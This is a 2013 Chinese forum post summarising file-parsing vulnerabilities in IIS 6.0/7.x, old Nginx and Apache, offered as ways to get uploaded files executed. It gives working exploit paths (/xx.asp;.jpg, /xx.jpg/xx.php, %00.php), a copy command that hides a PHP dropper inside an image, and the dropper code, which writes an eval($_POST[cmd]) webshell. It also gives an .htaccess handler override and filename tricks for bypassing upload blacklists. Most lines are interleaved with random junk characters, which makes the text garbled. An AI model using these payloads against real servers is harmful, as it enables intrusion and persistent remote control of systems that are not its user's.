找回密码
 立即注册
查看: 3226|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
* C' X" q# j/ l  S9 S$ y# F8 ?[+]IIS6.0
# m6 `" [  m3 q% |6 S0 l2 T $ ?5 }3 @1 Z( o% ]' @
目录解析:/xx.asp/xx.jpg
2 ]2 x; K5 s5 d4 Z& K" q xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
, n% e! Q- @) M$ O& |. @ IIS6.0 会将 xx.jpg 解析为 asp 文件。2 b0 G. Y; g( |8 O
后缀解析:/xx.asp;.jpg     
5 R- K  Z$ Z/ S: ?' C6 Q5 Q7 O IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
& ^- d5 R. r) `, \+ g+ b0 i默认解析:/xx.asa; |# p, o& E+ F0 v; o  d+ r+ t. |
         /xx.cer: j$ L* U  A, L- O- k, U  Y$ |
         /xx.cdx
4 e' C" ?% G& _8 I IIS6.0 默认的可执行文件除了 asp 还包含这三种9 L; P& _/ m8 O; [+ w  n
此处可联系利用目录解析漏洞
8 S6 a' p( S9 q4 N/ L" n# ~% V, b/ @/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
( c& ?# X) e. ]$ s8 ~$ C. F$ Z[+]IIS 7.0/IIS 7.5/Nginx <0.8.037 \, W+ B6 F* I5 {: u

- t( g5 G; B9 _ IIS 7.0/IIS 7.5/Nginx <0.8.03
1 \/ @  K; g- l$ v! Z+ E7 \) p1 h, K 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
, l. L: X: C. }3 z1 ~3 {( \9 @ 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
6 i) J* [9 Z; Z1 j: Q& D& V 常用利用方法:
( Z5 [& }4 Z( m& t) l  ~5 O 将一张图和一个写入后门代码的文本文件合并将恶意文本
' x$ K1 v* w1 l$ s& c. S, Y* l" f: c 写入图片的二进制代码之后,避免破坏图片文件头和尾, @% H, d4 S) K/ |% b: z1 ~
如:
$ R+ b6 j$ b. w( l% R4 q6 f copy xx.jpg /b + yy.txt/a xy.jpg
5 k! \  t# u  r" u) p #########################################################
. V5 d# F. b6 y" k  m /b 即二进制[binary]模式2 \& ?4 ^6 X) j0 S8 H3 E8 {
/a 即ascii模式
/ `1 y5 {8 Q; v( o2 t0 R" C1 s  m xx.jpg 正常图片文件+ ^+ F2 T6 M+ h# h  q
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),9 }& T* m& l& _; B: C# a
'<?php eval($_POST[cmd])?>');?>+ w. L7 Q9 h7 u
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
, P8 h+ s3 y+ h# m& ]9 e 为shell.php的文件
" z( E% R4 s' g9 Y$ g" w& e ###########################################################: }. y& c1 K* H: l4 |  E' C/ A
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php ; F4 b  i/ ]1 I' a6 p0 x" h/ K
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
, ^' G  P1 s! v! |9 T 密码 cmd
" Q3 T8 n% \; m; Q( c. o[+]Nginx <0.8.03
# P1 G3 a/ V# e) d* F* ]( F
1 s6 L! x9 i8 M0 ~5 L+ J6 y4 j 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞5 o  Q0 q& q7 Y; _7 U) @8 d
在一个文件路径(/xx.jpg)后面加上%00.php
7 @- e3 l+ o$ J 会将 /xx.jpg%00.php 解析为 php 文件。( B3 E" N: t# x* z8 @. y
[+]Apache<0.8.03# K$ R: k6 R( C6 m0 Q3 A5 Y, A% [
; F3 _$ l" S+ w8 e5 H! Q
后缀解析:test.php.x1.x2.x3# Z! P- p, c, V
Apache将从右至左开始判断后缀,若x3非可识别后缀,
2 e) B. }* [1 X 再判断x2,直到找到可识别后缀为止,然后将该可识别
5 L" M4 r: r* V. G, G 后缀进解析test.php.x1.x2.x3 则会被解析为php
) f; |9 J, a. X' v  D& |9 ^ 经验之谈:php|php3|phtml 多可被Apache解析。! }# \8 `0 A1 u3 K
[+]其他一些可利用的
- E0 ~4 N: Z4 P, q3 l / S2 u1 G. V) C9 K8 z$ L
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
& g; X  Z- D( @5 c' \若这样命名,windows会默认除去空格或点,这也是可以被利用的!
( t- g7 f( b% ?5 o: j# t在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格; P& |7 b0 J2 ]- N4 _- K
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可! ]: f) n2 [( D" N( ~
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。; G7 P- X+ O( n: o; |& @
{Linux主机中不行,Linux允许这类文件存在}  }3 [+ W1 z( J
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
8 L5 e( M; ?, w0 J* N$ c. j' b的,当初我并不知道),且可以被上传,那可以尝试在
! U4 y4 N$ `$ @.htaccess中写入:
* K. S4 q2 U$ h% ]/ M# Q<FilesMatch “shell.jpg”> , m$ y* P% H, Q3 o- j
SetHandler application/x-httpd-php
7 [/ _8 b7 r. \8 R, F</FilesMatch>
/ V3 K- j7 r' j% D. ]4 j/ @shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件! Y) i7 j2 U- h4 e1 I( w# I1 m
[+]错误修改) q/ M: D4 Z1 |' u
- w! e0 w+ Y( l  h+ e' e9 ]& M
在 IIS 6.0 下可解析 /xx.asp:.jpg
/ O9 Y! |1 D3 L3 ?{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
- F) w; \- r  m0 E3 J* Y1 C剩下/xx.asp}修改:1 Y; f* x! `; J8 V, H4 n* N
先谢谢核攻击的提醒0 g8 ]# h6 T) a6 f6 l) S8 X4 ]. N+ u
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
" j2 f5 d, P* f里是没有任何内容的,因为。。不好解释 大家自己看
' j9 I" B6 L* g( O7 Ihttp://lcx.cc/?i=2448
, d  f; T% q, K# g" \4 R1 A5 e& E; Thttp://baike.baidu.com/view/3619593.htm7 X% o% w) |( m  h* b
# \4 q) \# x' ~' M$ b  d6 ?6 `3 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表